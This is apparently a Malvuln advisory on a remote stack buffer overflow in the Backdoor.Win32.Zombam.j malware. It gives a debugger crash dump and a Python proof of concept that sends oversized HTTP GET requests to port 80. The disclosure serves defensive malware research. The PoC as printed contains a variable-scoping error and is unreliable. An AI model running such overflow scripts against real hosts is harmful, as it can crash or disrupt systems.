Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/a4212f23e1cc3bb34b0dfe15b2ad323e.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.j Vulnerability: Remote Stack Buffer Overflow Description: Listens on TCP port 80, sending consecutive HTTP requests with incrementing payload results in stack buffer overflow of the backdoor malware. Type: PE32 MD5: a4212f23e1cc3bb34b0dfe15b2ad323e Vuln ID: MVID-2021-0006 ASLR: False DEP: False Safe SEH: True Disclosure: 01/01/2021 Memory Dump: EAX : 055DF9F0 EBX : 040402A0 "X\v" ECX : 055DFA20 EDX : 41414141 EBP : 055DFA28 ESP : 055DF9D8 ESI : 040402A0 "X\v" EDI : 00404E86 backdoor.win32.zombam.j.00404E86 EIP : 0040292E backdoor.win32.zombam.j.0040292E dword ptr [edx+4]=[41414145]=??? (168c.20d0): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=050cfa20 edx=41414141 esi=00000003 edi=00000003 eip=773ced3c esp=050cf0bc ebp=050cf24c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:004> .ecxr eax=050cf9f0 ebx=040702d0 ecx=050cfa20 edx=41414141 esi=040702d0 edi=00404e86 eip=0040292e esp=050cf9d8 ebp=050cfa28 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.j.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.j.exe Backdoor_Win32_Zombam_j__+0x292e: 0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=???????? Exploit/PoC: from socket import * MALWARE_INFECTED_HOST="x.x.x.x" sz = 76660 c=1 def doit(): while True: s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_INFECTED_HOST, 80)) sz += 2600 JUNK="A"*sz PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_INFECTED_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() c+=1 if c==3: exit() print("Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow") print("MD5: a4212f23e1cc3bb34b0dfe15b2ad323e") print("By malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).